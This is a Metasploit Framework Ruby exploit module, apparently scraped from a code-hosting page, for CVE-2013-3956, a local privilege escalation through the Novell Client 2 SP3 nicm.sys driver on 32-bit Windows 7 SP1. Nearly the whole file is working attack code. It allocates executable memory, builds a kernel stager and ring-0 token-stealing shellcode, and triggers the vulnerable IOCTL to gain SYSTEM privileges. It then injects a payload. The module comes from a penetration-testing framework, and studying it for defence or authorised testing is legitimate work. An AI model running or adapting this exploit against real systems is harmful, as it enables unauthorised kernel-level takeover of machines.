315 lines
11 KiB
Ruby
315 lines
11 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/windows/priv'
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require 'msf/core/post/windows/process'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::Common
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
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'Description' => %q{
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This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
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kernel space. The vulnerability occurs while handling ioctl requests with code
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0x143B6B, where a user provided pointer is used as function pointer. The module
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has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'juan vazquez' # MSF module
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
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# as installed with Novell Client 2 SP3 for Windows 7
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[ 'Automatic', { } ],
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[ 'Windows 7 SP1',
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{
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'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
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'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
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'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
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'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
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'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
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}
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]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'CVE', '2013-3956' ],
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[ 'OSVDB', '93718' ],
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[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
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[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
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],
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'DisclosureDate' => 'May 22 2013',
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'DefaultTarget' => 0
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}))
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end
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def add_railgun_functions
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session.railgun.add_function(
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'ntdll',
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'NtAllocateVirtualMemory',
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'DWORD',
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[
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["DWORD", "ProcessHandle", "in"],
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["PBLOB", "BaseAddress", "inout"],
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["PDWORD", "ZeroBits", "in"],
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["PBLOB", "RegionSize", "inout"],
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["DWORD", "AllocationType", "in"],
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["DWORD", "Protect", "in"]
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])
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session.railgun.add_function(
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'ntdll',
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'NtDeviceIoControlFile',
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'DWORD',
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[
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[ "DWORD", "FileHandle", "in" ],
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[ "DWORD", "Event", "in" ],
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[ "DWORD", "ApcRoutine", "in" ],
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[ "DWORD", "ApcContext", "in" ],
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[ "PDWORD", "IoStatusBlock", "out" ],
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[ "DWORD", "IoControlCode", "in" ],
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[ "LPVOID", "InputBuffer", "in" ],
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[ "DWORD", "InputBufferLength", "in" ],
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[ "LPVOID", "OutputBuffer", "in" ],
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[ "DWORD", "OutPutBufferLength", "in" ]
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])
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session.railgun.add_function(
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'ntdll',
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'NtQueryIntervalProfile',
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'DWORD',
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[
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[ "DWORD", "ProfileSource", "in" ],
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[ "PDWORD", "Interval", "out" ]
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])
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session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
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session.railgun.add_function(
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'psapi',
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'EnumDeviceDrivers',
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'BOOL',
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[
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["PBLOB", "lpImageBase", "out"],
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["DWORD", "cb", "in"],
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["PDWORD", "lpcbNeeded", "out"]
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])
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session.railgun.add_function(
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'psapi',
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'GetDeviceDriverBaseNameA',
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'DWORD',
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[
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["LPVOID", "ImageBase", "in"],
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["PBLOB", "lpBaseName", "out"],
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["DWORD", "nSize", "in"]
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])
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end
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def open_device(dev)
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invalid_handle_value = 0xFFFFFFFF
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r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
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handle = r['return']
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if handle == invalid_handle_value
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return nil
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end
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return handle
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end
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def ring0_shellcode(t)
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tokenstealing = "\x52" # push edx # Save edx on the stack
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tokenstealing << "\x53" # push ebx # Save ebx on the stack
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tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
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tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
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tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
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tokenstealing << "\x8b\xc8" # mov ecx, eax
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tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
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tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
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tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
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tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
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tokenstealing << "\x75\xe8" # jne 0000101e ======================
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tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
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tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
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tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
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tokenstealing << "\x5b" # pop ebx # Restores ebx
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tokenstealing << "\x5a" # pop edx # Restores edx
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tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!
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return tokenstealing
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end
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def allocate_memory(proc, address, length)
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result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
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if not result["BaseAddress"] or result["BaseAddress"].empty?
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vprint_error("Failed to allocate memory")
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return nil
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end
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my_address = result["BaseAddress"].unpack("V")[0]
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vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")
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if not proc.memory.writable?(my_address)
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vprint_error("Failed to allocate memory")
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return nil
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else
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vprint_good("0x#{my_address.to_s(16)} is now writable")
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end
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return my_address
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V").first
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end
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def check
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handle = open_device("\\\\.\\nicm")
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if handle.nil?
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return Exploit::CheckCode::Safe
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end
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session.railgun.kernel32.CloseHandle(handle)
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return Exploit::CheckCode::Detected
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end
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def exploit
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vprint_status("Adding the railgun stuff...")
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add_railgun_functions
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if sysinfo["Architecture"] =~ /wow64/i
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fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
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elsif sysinfo["Architecture"] =~ /x64/
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fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
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end
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my_target = nil
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if target.name =~ /Automatic/
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print_status("Detecting the target system...")
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os = sysinfo["OS"]
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if os =~ /windows 7/i
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my_target = targets[1]
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print_status("Running against #{my_target.name}")
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end
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else
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my_target = target
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end
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if my_target.nil?
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fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
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end
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print_status("Checking device...")
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handle = open_device("\\\\.\\nicm")
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if handle.nil?
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fail_with(Failure::NoTarget, "\\\\.\\nicm device not found")
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else
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print_good("\\\\.\\nicm found!")
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end
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this_proc = session.sys.process.open
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print_status("Storing the Kernel stager on memory...")
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stager_address = 0x0d0d0000
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stager_address = allocate_memory(this_proc, stager_address, 0x1000)
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if stager_address.nil? or stager_address == 0
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Failed to allocate memory")
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end
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# eax => &kernel_stager
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# .text:000121A3 mov ecx, eax
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# .text:000121A5 mov eax, [ecx]
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# .text:000121A7 mov edx, [eax]
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# .text:000121A9 push ecx
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# .text:000121AA push eax
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# .text:000121AB call dword ptr [edx+0Ch]
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kernel_stager = [
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stager_address + 0x14, # stager_address
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junk,
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junk,
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junk,
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junk,
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stager_address + 0x18, # stager_address + 0x14
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junk,
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junk,
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junk,
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stager_address + 0x28 # stager_address + 0x24
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].pack("V*")
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kernel_stager << ring0_shellcode(my_target)
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result = this_proc.memory.write(stager_address, kernel_stager)
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if result.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Failed to write contents to memory")
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else
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vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
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end
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print_status("Triggering the vulnerability to execute the Kernel Handler")
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magic_ioctl = 0x143B6B # Vulnerable IOCTL
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ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
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session.railgun.kernel32.CloseHandle(handle)
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if ioctl["GetLastError"] != 0
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print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
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end
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print_status("Checking privileges after exploitation...")
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if not is_system?
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fail_with(Failure::Unknown, "The exploitation wasn't successful")
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else
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print_good("Exploitation successful!")
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end
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p = payload.encoded
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print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
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if execute_shellcode(p)
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print_good("Enjoy")
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else
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fail_with(Failure::Unknown, "Error while executing the payload")
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end
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end
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end
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